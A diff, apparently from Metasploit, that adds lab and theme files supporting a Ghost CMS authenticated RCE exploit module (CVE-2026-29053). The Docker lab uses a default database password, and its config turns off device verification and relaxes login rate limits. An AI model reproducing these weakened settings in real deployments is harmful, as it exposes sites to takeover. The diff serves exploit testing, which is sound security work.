diff --git a/LICENSE b/LICENSE index 3490894e5e2f0..b12ac926f271f 100644 --- a/LICENSE +++ b/LICENSE @@ -282,6 +282,12 @@ License: LGPL Purpose: Allows users to invoke an interactive metasm shell to get opcodes from assembly instructions. +Files: data/exploits/CVE-2026-29053/theme/* +Copyright: 2013-2026 +License: Ghost +Purpose: The module `modules/exploits/multi/http/ghostcms_auth_rce_cve_2026_29053.rb` uses + [ghost-starter](https://github.com/tryghost/starter) theme to achieve an RCE. + License: BSD-2-clause Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: @@ -1405,3 +1411,27 @@ INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. Please see the License for the specific language governing rights and limitations under the License." + +License: Ghost + Copyright (c) 2013-2026 Ghost Foundation + + Permission is hereby granted, free of charge, to any person + obtaining a copy of this software and associated documentation + files (the "Software"), to deal in the Software without + restriction, including without limitation the rights to use, + copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the + Software is furnished to do so, subject to the following + conditions: + + The above copyright notice and this permission notice shall be + included in all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES + OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT + HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, + WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING + FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR + OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/data/exploits/CVE-2026-29053/lab/config.production.json b/data/exploits/CVE-2026-29053/lab/config.production.json new file mode 100644 index 0000000000000..98ac23aa116b3 --- /dev/null +++ b/data/exploits/CVE-2026-29053/lab/config.production.json @@ -0,0 +1,98 @@ +{ + "url": "http://localhost:2368", + "server": { + "port": 2368, + "host": "::" + }, + "logging": { + "transports": [ + "file", + "stdout" + ] + }, + "process": "systemd", + "paths": { + "contentPath": "/var/lib/ghost/content" + }, + "security": { + "staffDeviceVerification": false + }, + "mail": { + "transport": "SMTP", + "options": { + "host": "", + "port": 587, + "auth": { + "user": "", + "pass": "" + } + } + }, + "spam": { + "user_login": { + "minWait": 600000, + "maxWait": 604800000, + "freeRetries": 99 + }, + "user_reset": { + "minWait": 3600000, + "maxWait": 3600000, + "lifetime": 3600, + "freeRetries": 99 + }, + "user_verification": { + "minWait": 3600000, + "maxWait": 3600000, + "lifetime": 3600, + "freeRetries": 99 + }, + "send_verification_code": { + "minWait": 3600000, + "maxWait": 3600000, + "lifetime": 3600, + "freeRetries": 99 + }, + "global_reset": { + "minWait": 3600000, + "maxWait": 3600000, + "lifetime": 3600, + "freeRetries": 99 + }, + "global_block": { + "minWait": 3600000, + "maxWait": 3600000, + "lifetime": 3600, + "freeRetries": 99 + }, + "private_block": { + "minWait": 3600000, + "maxWait": 3600000, + "lifetime": 3600, + "freeRetries": 99 + }, + "webmentions_block": { + "minWait": 100000, + "maxWait": 100000, + "lifetime": 3600, + "freeRetries": 99 + }, + "email_preview_block": { + "minWait": 360000, + "maxWait": 360000, + "lifetime": 3600, + "freeRetries": 99 + }, + "otc_verification_enumeration": { + "minWait": 600000, + "maxWait": 43200000, + "lifetime": 43200, + "freeRetries": 99 + }, + "otc_verification": { + "minWait": 300000, + "maxWait": 3600000, + "lifetime": 3600, + "freeRetries": 99 + } + } +} \ No newline at end of file diff --git a/data/exploits/CVE-2026-29053/lab/docker-compose.yml b/data/exploits/CVE-2026-29053/lab/docker-compose.yml new file mode 100644 index 0000000000000..66f0b9e1b953d --- /dev/null +++ b/data/exploits/CVE-2026-29053/lab/docker-compose.yml @@ -0,0 +1,29 @@ +services: + + ghost: + image: ghost:6.16.1 + restart: always + ports: + - 2368:2368 + environment: + database__client: mysql + database__connection__host: db + database__connection__user: root + database__connection__password: example + database__connection__database: ghost + url: http://localhost:2368 + port: 2368 + volumes: + - ./config.production.json:/var/lib/ghost/config.production.json + + db: + image: mariadb:11.4.3 + restart: always + environment: + MYSQL_ROOT_PASSWORD: example + ports: + - 3306:3306 + +volumes: + ghost: + db: \ No newline at end of file diff --git a/data/exploits/CVE-2026-29053/theme/README.md b/data/exploits/CVE-2026-29053/theme/README.md new file mode 100644 index 0000000000000..fff7fc0dc174b --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/README.md @@ -0,0 +1,125 @@ +# Ghost Starter Theme + +A starter framework for Ghost themes! Click **Use this template** to create a copy of this repo for everything you need to get started developing a custom Ghost theme. + +  + +## First time using a Ghost theme? + +Ghost uses a simple templating language called [Handlebars](http://handlebarsjs.com/) for its themes. + +We've documented this starter theme pretty heavily so that it should be possible to work out what's going on just by reading the code and the comments. We also have a robust set of resources to help you build awesome custom themes: + +- The official [theme documentation](https://ghost.org/docs/themes) is the complete resource for everything you need to know about Ghost theme development +- [Tutorials](https://ghost.org/tutorials/) offer a step-by-step guide to building the most common features in Ghost themes +- The [Ghost VS Code extension](https://marketplace.visualstudio.com/items?itemName=TryGhost.ghost) speeds up theme development and provides quick access to helpful info +- All of Ghost's official themes are [open source](https://github.com/tryghost) and are a great reference for learning how to create a theme + +  + +## Starter theme features + +🔁 Livereload by default. See changes instantly in the browser whenever you save a file. + +🔎 Optimized for VS Code. Find the files you're looking for more easily. + +🗃️ Write modern JavaScript. Use ESM out of the box to write more manageable Javascript. + +🗜️ Assets optimized automatically. JavaScript and CSS are minified and transpiled by default. + +👟 Fast compile times, powered by [Rollup](https://rollupjs.org). + +🦋 Write next-gen CSS for today's browsers with [PostCSS](https://postcss.org/). Add the CSS tools you love via [`rollup.config.js`](rollup.config.js). + +🚢 Ghost's [GH Deploy Action](.github/workflows/deploy-theme.yml) included by default. [Learn more how to deploy your theme automatically](https://github.com/TryGhost/action-deploy-theme) + +➕ Extensible by design. Rollup's configuration structure makes it easy to add [any number of plugins easily](https://github.com/rollup/plugins). + +  + +## Theme structure + +The main files are: + +- [`default.hbs`](default.hbs) - The main template file +- [`index.hbs`](index.hbs) - Used for the home page +- [`post.hbs`](post.hbs) - Used for individual posts +- [`page.hbs`](page.hbs) - Used for individual pages +- [`tag.hbs`](tag.hbs) - Used for tag archives +- [`author.hbs`](author.hbs) - Used for author archives + +One neat trick is that you can also create custom one-off templates just by adding the slug of a page to a template file. For example: + +- `page-about.hbs` - Custom template for the `/about/` page +- `tag-news.hbs` - Custom template for `/tag/news/` archive +- `author-jamie.hbs` - Custom template for `/author/jamie/` archive + +  + +## Development guide + +The Starter theme provides a first-class development experience out of the box. + +  + +### Setup + +To see realtime changes during development, symlink the Starter theme folder to the `content/themes` folder in your local Ghost install. + +```bash +ln -s /path/to/starter /ghost/content/themes/starter +``` + +Restart Ghost and select the Starter theme from **Settings**. + +From the theme's root directory, install the dependencies: + +```bash +npm install +``` + +If Node isn't installed, follow the [official Node installation guide](https://nodejs.org/). + +  + +### Start development mode + +From the Starter theme folder, start development mode: + +```bash +npm run dev +``` + +Changes you make to your styles, scripts, and Handlebars files will show up automatically in the browser. CSS and Javascript will be compiled and output to the `built` folder. + +Press `ctrl + c` in the terminal to exit development mode. + +  + +### Build, zip, and test your theme + +Compile your CSS and JavaScript assets for production with the following command: + +```bash +npm run build +``` + +Create a zip archive: + +```bash +npm run zip +``` + +Use `gscan` to test your theme for compatibility with Ghost: + +```bash +npm run test +``` + +  + + + +## Copyright & License + +Copyright (c) 2013-2026 Ghost Foundation - Released under the [MIT license](LICENSE). diff --git a/data/exploits/CVE-2026-29053/theme/assets/built/index.css b/data/exploits/CVE-2026-29053/theme/assets/built/index.css new file mode 100644 index 0000000000000..9f2337990fa6b --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/assets/built/index.css @@ -0,0 +1,2 @@ +:root{--color-primary:var(--ghost-accent-color,#3eb0ef);--color-base:#131313;--color-border:#ddd;--color-bg:#f5f5f5;--color-success:#80b912;--color-error:#f05230;--font-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;--font-serif:Georgia,Times,serif;--font-mono:Menlo,Courier,monospace;--font-light:100;--font-normal:400;--font-bold:700;--font-heavy:800;--xlarge:1680px;--large:1280px;--medium:980px;--small:740px;--xsmall:480px;--height:4rem;--margin:2rem;--radius:0.5rem}*,:after,:before{box-sizing:border-box}html{-webkit-tap-highlight-color:rgba(0,0,0,0);font-size:62.5%}body{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;background:#fff;color:#464646;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen,Ubuntu,Cantarell,Fira Sans,Droid Sans,Helvetica Neue,sans-serif;font-family:var(--font-sans-serif);font-size:1.5rem;font-style:normal;font-weight:400;line-height:1.6em;min-height:100vh;scroll-behavior:smooth}blockquote,body,dd,dl,figcaption,figure,form,hr,li,ol,p,pre,table,ul,video{margin:0;padding:0}ol[class],ul[class]{list-style:none;padding:0}img{display:block;height:auto;max-width:100%}button,input,select,textarea{-webkit-appearance:none;font:inherit}fieldset{border:0;margin:0;padding:0}label{font-size:.9em;font-weight:700}hr,label{display:block}hr{border:0;border-top:1px solid;height:1px;opacity:.2;position:relative;width:100%}::-moz-selection{background:#cbeafb;text-shadow:none}::selection{background:#cbeafb;text-shadow:none}mark{background-color:#fdffb6}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}ul:not([class]) li+li{margin-top:.6em}a:not([class]){-webkit-text-decoration-skip:ink;color:#3eb0ef;color:var(--color-primary);text-decoration-skip-ink:auto}a[class]{color:inherit;-webkit-text-decoration:none;text-decoration:none;transition:.4s ease}a[class]:hover{transition:.2s ease}h1,h2,h3,h4,h5,h6{font-weight:700;line-height:1.15em;margin:0}h1{font-size:4.6rem;letter-spacing:-.5px}@media (max-width:500px){h1{font-size:2.7rem}}h2{font-size:3.6rem}@media (max-width:500px){h2{font-size:2.2rem}}h3{font-size:3.2rem}@media (max-width:500px){h3{font-size:1.8rem}}h4{font-size:2.6rem}h5{font-size:2.4rem}h6{font-size:2.2rem}@media (prefers-reduced-motion:reduce){*{animation-duration:.01ms!important;animation-iteration-count:1!important;scroll-behavior:auto!important;transition-duration:.01ms!important}}.gh-input,.gh-textarea{background:#f5f5f5;background:var(--color-bg);border:1px solid #ddd;border:1px solid var(--color-border);border-radius:.5rem;border-radius:var(--radius);color:inherit;display:block;outline:0;padding:0 .6em;-webkit-text-decoration:none;text-decoration:none;width:100%}.gh-input:focus{border-color:#3eb0ef;border-color:var(--color-primary)}.gh-select{height:4rem;height:var(--height);padding-right:4rem;padding-right:var(--height);text-overflow:ellipsis}.gh-select option{background:#f5f5f5;background:var(--color-bg);color:#3eb0ef;color:var(--color-primary)}.gh-select:focus::-ms-value{background-color:transparent}.gh-select::-ms-expand{display:none}.gh-input,.gh-select{height:4rem;height:var(--height)}.gh-textarea{padding:.3em .6em;resize:vertical}.gh-check{display:block;margin-right:-2em;opacity:0;width:1em;z-index:-1}.gh-check+label{align-items:center;color:#131313;color:var(--color-base);cursor:pointer;display:flex;font-size:1em;font-weight:400;font-weight:var(--font-normal);padding-left:calc(2.4rem + .75em);padding-left:calc(var(--height)*.6 + .75em);padding-right:2rem;position:relative;-webkit-user-select:none;-moz-user-select:none;user-select:none}.gh-check+label:before{background:#f5f5f5;background:var(--color-bg);border:1px solid #ddd;border:1px solid var(--color-border);border-radius:.5rem;border-radius:var(--radius);content:"";display:inline-block;height:2.4rem;height:calc(var(--height)*.6);line-height:2.24rem;line-height:calc(var(--height)*.56);margin-right:1rem;text-align:center;width:2.4rem;width:calc(var(--height)*.6)}.gh-check:checked+label:before{background:#3eb0ef;background:var(--color-primary);border-color:#3eb0ef;border-color:var(--color-primary);color:#f5f5f5;color:var(--color-bg);content:"✓"}.gh-check:focus+label:before{border-color:#3eb0ef;border-color:var(--color-primary);box-shadow:0 0 0 1px #3eb0ef;box-shadow:0 0 0 1px var(--color-primary)}.gh-check+label:before{border-radius:.5rem;border-radius:var(--radius);border-radius:100%}.gh-button{-webkit-appearance:none;-moz-appearance:none;appearance:none;border:0;border-radius:.5rem;border-radius:var(--radius);cursor:pointer;display:inline-block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen,Ubuntu,Cantarell,Fira Sans,Droid Sans,Helvetica Neue,sans-serif;font-family:var(--font-sans-serif);font-size:1.4rem;font-weight:400;font-weight:var(--font-normal);height:4rem;height:var(--height);line-height:4rem;line-height:var(--height);min-width:75px;padding:0 2rem;text-align:center;-webkit-text-decoration:none;text-decoration:none;transition:.4s ease;white-space:nowrap}.gh-button.gh-button-fit{width:100%}.gh-button.gh-button-small{font-size:1.2rem;height:3.6rem;height:calc(var(--height)*.9);line-height:3.6rem;line-height:calc(var(--height)*.9);padding:0 1.5rem}.gh-button.gh-button-large{font-size:1.7rem;height:4.8rem;height:calc(var(--height)*1.2);line-height:4.8rem;line-height:calc(var(--height)*1.2);padding:0 2.5rem}.gh-button.gh-button-disabled,.gh-button:disabled{opacity:.4;pointer-events:none}.gh-button{background-color:transparent;box-shadow:inset 0 0 0 2px currentColor;color:inherit}.gh-button:hover{box-shadow:inset 0 0 0 2px #3eb0ef;box-shadow:inset 0 0 0 2px var(--color-primary);color:#3eb0ef!important;color:var(--color-primary)!important;-webkit-text-decoration:none;text-decoration:none;transition:.2s ease}.gh-button.gh-button-primary{box-shadow:none;color:#fff!important}.gh-button.gh-button-primary,.gh-button.gh-button-primary:hover{background-color:#3eb0ef;background-color:var(--color-primary)}.gh-head{background:inherit;font-size:1.6rem;line-height:1.3em;padding:3vmin 4vmin}.gh-head a{color:inherit;-webkit-text-decoration:none;text-decoration:none}.gh-head-inner{grid-gap:40px;display:grid;grid-auto-flow:row dense;grid-template-columns:1fr auto 1fr}.gh-head-brand{align-items:center;display:flex;grid-column-start:2;max-width:200px;text-align:center;word-break:break-all}.gh-head-logo{display:block;font-size:2.2rem;font-weight:600;line-height:1.2em;padding:10px 0}.gh-head-logo img{max-height:40px}.gh-head-menu{align-items:center;display:flex}.gh-head-menu .nav{align-items:center;display:inline-flex;flex-wrap:wrap;list-style:none}.gh-head-menu .nav li{margin:0 1.5vmin 0 0;padding:0}.gh-head-menu .nav a{display:inline-block;padding:5px 0}.gh-head-menu .nav-current a{box-shadow:inset 0 -1px 0 0 currentcolor}.gh-head-actions{display:flex;list-style:none;text-align:right}.gh-head-actions,.gh-head-actions-list{align-items:center;justify-content:flex-end}.gh-head-actions-list{display:inline-flex;flex-wrap:wrap;gap:10px}.gh-head-actions-list a:not([class]){display:inline-block;margin:0 0 0 1.5vmin;padding:5px 0}.gh-burger{cursor:pointer;display:none;position:relative}.gh-burger-box{align-items:center;display:flex;height:33px;justify-content:center;position:relative;width:33px}.gh-burger-inner{height:100%;width:100%}.gh-burger-box:before{transition:transform .3s cubic-bezier(.2,.6,.3,1),width .3s cubic-bezier(.2,.6,.3,1)}.gh-burger-box:before,.gh-burger-inner:after,.gh-burger-inner:before{background:currentcolor;bottom:0;content:"";display:block;height:1px;left:0;margin:auto;position:absolute;top:0;width:100%;will-change:transform,width}.gh-burger-inner:after,.gh-burger-inner:before{transition:transform .25s cubic-bezier(.2,.7,.3,1),width .25s cubic-bezier(.2,.7,.3,1)}.gh-burger-inner:before{transform:translatey(-6px)}.gh-burger-inner:after{transform:translatey(6px)}body:not(.gh-head-open) .gh-burger:hover .gh-burger-inner:before{transform:translatey(-8px)}body:not(.gh-head-open) .gh-burger:hover .gh-burger-inner:after{transform:translatey(8px)}.gh-head-open .gh-burger-box:before{transform:translatex(19px);transition:transform .2s cubic-bezier(.2,.7,.3,1),width .2s cubic-bezier(.2,.7,.3,1);width:0}.gh-head-open .gh-burger-inner:before{transform:translatex(6px) rotate(135deg);width:26px}.gh-head-open .gh-burger-inner:after{transform:translatex(6px) rotate(-135deg);width:26px}.gh-head-brandnavactions .gh-head-brand{grid-column-start:1}.gh-head-brandnav .gh-container{grid-gap:0;grid-template-columns:auto max-content max-content}.gh-head-brandnav .gh-head-brand{grid-column-start:1}.gh-head-brandnav .gh-head-menu{margin-left:40px}.gh-head-brandnav .gh-head-menu .nav li{margin:0 0 0 1.5vmin;padding:0}.gh-head-stacked .gh-container{grid-gap:2vmin;grid-template-columns:1fr}.gh-head-stacked .gh-head-brand{display:flex;grid-column-start:1;justify-content:center;max-width:none;text-align:center;width:100%}.gh-head-stacked .gh-head-actions,.gh-head-stacked .gh-head-actions-list,.gh-head-stacked .gh-head-menu{justify-content:center}.gh-head-stacked .gh-head-actions a:first-child svg{margin-left:0}@media (max-width:900px){.gh-burger{display:inline-block}#gh-head{overflow:hidden;transition:all .4s ease-out}#gh-head .gh-head-inner{grid-template-columns:1fr;height:100%}#gh-head .gh-head-brand{align-items:center;display:flex;grid-column-start:auto;justify-content:space-between;max-width:none;position:relative;-webkit-user-select:none;-moz-user-select:none;user-select:none;z-index:10}#gh-head .gh-head-logo{font-size:2.2rem}#gh-head .gh-head-logo img{max-height:40px}#gh-head .gh-head-menu{align-items:center;align-self:center;display:flex;flex-direction:column;font-size:3.6rem;font-weight:300;line-height:1.1em;margin:0 0 10vh;text-align:center}#gh-head .gh-head-menu .nav li{margin:5px 0}#gh-head .gh-head-menu .nav a{padding:8px 0}#gh-head .gh-head-menu .nav{align-items:center;display:flex;flex-direction:column}#gh-head .gh-head-actions{justify-content:center;padding:20px 0;text-align:left}#gh-head .gh-head-actions a{margin:0 10px}#gh-head .gh-head-actions,#gh-head .gh-head-menu{display:none}.gh-head-open{height:100vh;overflow:hidden}.gh-head-open #gh-head{bottom:0;left:0;overflow-y:scroll;position:fixed;right:0;top:0;z-index:900}.gh-head-open #gh-head .gh-head-inner{grid-template-rows:auto 1fr auto}.gh-head-open #gh-head .gh-head-actions,.gh-head-open #gh-head .gh-head-menu{display:flex}}@media (max-width:600px){#gh-head .gh-head-menu{font-size:6vmin}}.gh-canvas,.kg-width-full.kg-content-wide{--gap:4vw;--main:min(var(--content-width,720px),100% - var(--gap) * 2);--wide:minmax(0,calc((var(--container-width, 1200px) - var(--content-width, 720px))/2));--full:minmax(var(--gap),1fr);display:grid;grid-template-columns:[full-start] minmax(4vw,1fr) [wide-start] minmax(0,240px) [main-start] min(720px,100% - 4vw * 2) [main-end] minmax(0,240px) [wide-end] minmax(4vw,1fr) [full-end];grid-template-columns:[full-start] var(--full) [wide-start] var(--wide) [main-start] var(--main) [main-end] var(--wide) [wide-end] var(--full) [full-end]}.gh-canvas>*{grid-column:main-start/main-end}.kg-content-wide>div,.kg-width-wide{grid-column:wide-start/wide-end}.kg-width-full{grid-column:full-start/full-end}.kg-width-full img{width:100%}.gh-content>*+*{margin-top:4vmin}.gh-content [id]:not(:first-child){margin:1.5em 0 0}.gh-content>[id]+*{margin-top:1.5rem}.gh-content [id]+.kg-card,.gh-content blockquote+.kg-card{margin-top:6vmin}.gh-canvas>blockquote,.gh-canvas>dl,.gh-canvas>ol,.gh-canvas>p,.gh-canvas>ul{font-family:Georgia,Times,serif;font-family:var(--font-serif);font-size:2rem;font-weight:400;line-height:1.6em}.gh-content>dl,.gh-content>ol,.gh-content>ul{padding-left:1.9em}.gh-content hr{margin-top:6vmin}.gh-content hr+*{margin-top:6vmin!important}.gh-content blockquote{font-style:italic;position:relative}.gh-content blockquote:before{background:#3eb0ef;background:var(--color-primary);bottom:0;content:"";left:-1.5em;position:absolute;top:0;width:.3rem}@media (max-width:650px){.gh-canvas blockquote,.gh-canvas dl,.gh-canvas ol,.gh-canvas p,.gh-canvas ul{font-size:1.8rem}.gh-content blockquote:before{left:-4vmin}}.gh-content .kg-card+:not(.kg-card),.gh-content :not(.kg-card):not([id])+.kg-card{margin-top:6vmin}figcaption{color:rgba(0,0,0,.5);font-size:1.3rem;font-weight:600;line-height:1.4em;padding:1.5rem 1.5rem 0;text-align:center}figcaption strong{color:rgba(0,0,0,.8)}.gh-canvas :not(pre) code{background:#f0f6f9;border:1px solid #e1eaef;border-radius:.25em;color:#dc0050;font-size:.9em;font-weight:400!important;line-height:1em;padding:.15em .4em;vertical-align:middle}.gh-canvas>pre{background:hsla(0,0%,100%,.8);border-radius:5px;box-shadow:0 2px 6px -2px rgba(0,0,0,.1),0 0 1px rgba(0,0,0,.4);overflow:scroll;padding:16px 20px}.kg-embed-card{align-items:center;display:flex;flex-direction:column;width:100%}.kg-embed-card>:where(iframe[src*="youtube.com"],iframe[src*="vimeo.com"]){aspect-ratio:16/9;height:auto;width:100%}.kg-image-card img{margin:auto}.kg-width-full.kg-card-hascaption{display:grid;grid-template-columns:inherit}.kg-width-wide.kg-card-hascaption img{grid-column:wide-start/wide-end}.kg-width-full.kg-card-hascaption img{grid-column:1/-1}.kg-width-full.kg-card-hascaption figcaption{grid-column:main-start/main-end}.gh-content table{border-collapse:collapse;width:100%}.gh-content th{font-size:.75em;padding:.5em .8em;text-align:left;text-transform:uppercase}.gh-content td{padding:.4em .7em}.gh-content tbody tr:nth-child(odd){background-color:rgba(0,0,0,.1);padding:1px}.gh-content tbody tr:nth-child(2n+2) td:last-child{box-shadow:inset 1px 0 rgba(0,0,0,.1),inset -1px 0 rgba(0,0,0,.1)}.gh-content tbody tr:nth-child(2n+2) td{box-shadow:inset 1px 0 rgba(0,0,0,.1)}.gh-content tbody tr:last-child{border-bottom:1px solid rgba(0,0,0,.1)}.gh-readmore{font-size:2.6rem;padding:8vmin 4vmin}.gh-readmore-inner{grid-gap:8vmin;display:grid;grid-template-columns:1fr 1fr}.gh-readmore-prev{justify-content:flex-end;text-align:right}.gh-readmore a{color:currentColor;display:flex;-webkit-text-decoration:none;text-decoration:none}.gh-readmore h4{font-size:inherit;width:100%}.gh-readmore svg{display:inline-block;height:1em;margin:.15em 0 0;vertical-align:middle}.gh-readmore h4+svg,.gh-readmore svg+h4{margin-left:2vmin}@media (max-width:700px){.gh-readmore{font-size:1.6rem}.gh-readmore svg{margin:.1em 0 0}}.gh-auth-form{margin:0 auto 10vmin;max-width:600px;text-align:center;width:100%}.gh-auth-title{font-size:4.2rem;margin:0 0 .1em}.gh-auth-form p{color:rgba(0,0,0,.6);font-size:1.7rem;margin:10px 0 4vmin}.gh-auth-form p small{display:inline-block;font-size:1.4rem;margin:15px 0 0}.gh-auth-box{align-items:center;display:flex;justify-content:space-between;margin:0 auto;max-width:460px}.gh-auth-box .gh-button{margin-left:10px}@media (max-width:600px){.gh-auth-box{flex-direction:column;max-width:400px}.gh-auth-box .gh-button{margin:15px 0 0;width:100%}}form[data-members-form] .gh-button-loader,form[data-members-form] .message-error,form[data-members-form] .message-success{display:none}.gh-button-content{min-width:100px}.message-error svg,.message-success svg{height:15px;margin-right:5px;position:relative;top:-1px;width:15px}.message-success svg{fill:#fff}.message-error svg{fill:#f05230;fill:var(--color-error)}form[data-members-form].error .message-error,form[data-members-form].success .message-success{background:#131313;background:var(--color-base);border-radius:.5rem;border-radius:var(--radius);color:#fff;font-size:1.4rem;font-weight:500;left:4vmin;line-height:1.5em;margin:0 auto;max-width:calc(1400px - 8vmin);padding:10px 0;position:fixed;right:4vmin;text-align:center;top:20px;z-index:9999}form[data-members-form].success .message-success{background:#80b912;background:var(--color-success)}form[data-members-form].error .message-error{background:#fff;box-shadow:0 0 0 1px #f05230;box-shadow:var(--color-error) 0 0 0 1px;color:#f05230;color:var(--color-error)}form[data-members-form] .gh-button{min-width:120px;position:relative}form[data-members-form].loading .gh-button-content{visibility:hidden}form[data-members-form].loading .gh-button-loader{bottom:-30%;display:inline-block;left:50%;margin:0 0 0 -19px;position:absolute;transform:scale(.6)}.gh-button-loader svg path,.gh-button-loader svg rect{fill:#fff}form[data-members-form].error .message-error,form[data-members-form].success .message-success{display:block}.gh-error{display:flex;flex:1 0 auto;flex-direction:column;justify-content:center;padding-bottom:2vmin}.gh-error-content{flex:1 0 auto;text-align:center}.gh-error-code{font-size:14vmin;margin:0}.gh-error-description{font-size:4vmin;font-weight:300;line-height:1.2em;margin:0 auto;max-width:600px;opacity:.6;padding:0 2rem}.gh-error-link{display:block;font-size:1.6rem;margin-top:4vmin}.gh-error-stack{margin:0 auto;max-width:600px;padding:8vmin 0;text-align:left}.gh-error-stack-list{font-size:1.4rem;margin:4vmin 0 0}.gh-error-stack-list>li{border-top:1px solid rgba(0,0,0,.1);margin:0;padding:2rem 0}.gh-error-stack-function{color:red;font-size:1.8rem;margin:0 0 .5em}.gh-foot{align-items:center;display:flex;justify-content:center;padding:8vmin 4vmin 4vmin}.gh-foot .gh-container{width:auto}.gh-foot a{color:inherit}.gh-foot-menu{display:flex}.gh-foot-menu,.gh-foot-menu .nav{align-items:center;justify-content:center}.gh-foot-menu .nav{display:inline-flex;flex-wrap:wrap;font-size:1.8rem;list-style:none}.gh-foot-menu .nav li{margin:0 1.5vmin;padding:0}.gh-foot-menu .nav a{box-shadow:inset 0 -1px 0 0 currentcolor;display:inline-block;padding:3px 0;-webkit-text-decoration:none;text-decoration:none}.gh-foot-meta{font-size:1.5rem;margin:2rem 0;opacity:.75;text-align:center}@media (max-width:700px){.gh-foot-menu .nav{font-size:1.6rem}}a.gh-powered,a.gh-powered:hover{align-items:center;background:#fff;border:none;border-radius:5px;box-shadow:0 0 0 1px rgba(0,0,0,.1),0 1px 3px rgba(0,0,0,.08);color:#383838;cursor:pointer;display:inline-flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen,Ubuntu,Cantarell,Fira Sans,Droid Sans,Helvetica Neue,sans-serif;font-size:12px;font-weight:600;letter-spacing:-.3px;line-height:12px;padding:6px 9px 6px 6px;-webkit-text-decoration:none;text-decoration:none}a.gh-powered svg{height:16px;margin:0 6px 0 0;width:16px}.gh-pagination .pagination{display:flex;justify-content:space-between;margin-bottom:4vmin;margin-top:4vmin}.gh-post-comments{margin-bottom:4vmin;margin-top:8vmin}.gh-viewport,html{background:#fff;display:flex;flex-direction:column;min-height:100vh}.gh-main{display:flex;flex:1 0 auto;flex-direction:column}.gh-page{padding:0 4vmin}.gh-article,.gh-postfeed{padding:8vmin 0}.gh-postfeed{grid-gap:4.8vmin 4vmin;display:grid;gap:4.8vmin 4vmin;grid-template-columns:repeat(auto-fit,minmax(min(350px,100%),1fr))}.gh-postfeed>:first-child{grid-column:1/-1}.gh-container{margin:0 auto;max-width:1200px;width:100%}.gh-head-actions a:not(.gh-button){align-items:center;display:inline-flex;margin:0;padding:10px}.gh-head-actions a svg{fill:currentcolor;height:1.8rem}.gh-head-actions a:first-child svg{margin-left:20px}.gh-head-actions a:last-child svg{height:2rem}.gh-card-link{display:flex;flex-direction:column}.gh-card-image{aspect-ratio:1/1;margin-bottom:4vmin;-o-object-fit:cover;object-fit:cover;width:100%}.gh-card-image:first-of-type{aspect-ratio:16/9}.gh-card-meta{display:block;font-size:1.4rem;letter-spacing:.5px;line-height:1.2em;margin:0 0 1rem;opacity:.8;text-transform:uppercase}.gh-card-content{font-size:1.6rem;margin:0 auto;max-width:720px;text-align:center}.gh-card-content p{margin:1.2rem 0;padding:0 3vmin}.gh-card-content>strong{box-shadow:inset 0 -1px 0 0 currentColor;display:inline-block;font-weight:500;opacity:.75;padding:1px 0}.gh-page-head{margin:0 auto;padding:8vmin 0 4vmin;text-align:center}.gh-page-image{margin:4vmin 0 0}.gh-page-head>p{font-size:1.3em;line-height:1.4em;margin:.3em auto 0;max-width:720px;opacity:.5;padding:0 6vmin}@media (max-width:700px){.gh-page-head>p{font-size:1.6rem}}.gh-header{padding:0 0 8vmin;text-align:center}.gh-post-meta{display:block;font-size:1.4rem;letter-spacing:.5px;margin:0 0 1rem;opacity:.8;text-transform:uppercase}.gh-excerpt{margin:1rem 0 0}.gh-feature-image{grid-column:wide-start/wide-end;margin:8vmin 0 0;width:100%}.gh-feature-image img{margin-left:auto;margin-right:auto;width:100%}.gh-post-footer{margin:2rem 0}.gh-author-image{border-radius:100%;height:12vmin;margin:0 auto 1.5em;-o-object-fit:cover;object-fit:cover;overflow:hidden;width:12vmin}.gh-author-meta{font-size:1.2em;margin:2vmin 0 0}.gh-author-links{align-items:center;display:flex;justify-content:center}.gh-author-links a{align-items:center;display:inline-flex;margin:0 .75vmin;position:relative}.gh-author-links a+a:before{background:rgba(0,0,0,.3);content:"";display:block;height:1em;margin:0 1.25vmin 0 0;transform:rotate(20deg);width:1px}@media (max-width:700px){.gh-author-meta{font-size:1.6rem}} +/*# sourceMappingURL=index.css.map */ \ No newline at end of file diff --git a/data/exploits/CVE-2026-29053/theme/assets/built/index.js b/data/exploits/CVE-2026-29053/theme/assets/built/index.js new file mode 100644 index 0000000000000..741a0ef89e0bf --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/assets/built/index.js @@ -0,0 +1,2 @@ +!function(e,t){e&&!e.getElementById("livereloadscript")&&((t=e.createElement("script")).async=1,t.src="//"+(self.location.host||"localhost").split(":")[0]+":35730/livereload.js?snipver=1",t.id="livereloadscript",e.getElementsByTagName("head")[0].appendChild(t))}(self.document),function(){"use strict";var e;let t=null===(e=document.querySelector('link[rel="next"]'))||void 0===e?void 0:e.getAttribute("href");document.querySelector(".gh-burger").addEventListener("click",(function(){document.body.classList.toggle("gh-head-open")})),function(){if(!t)return;new 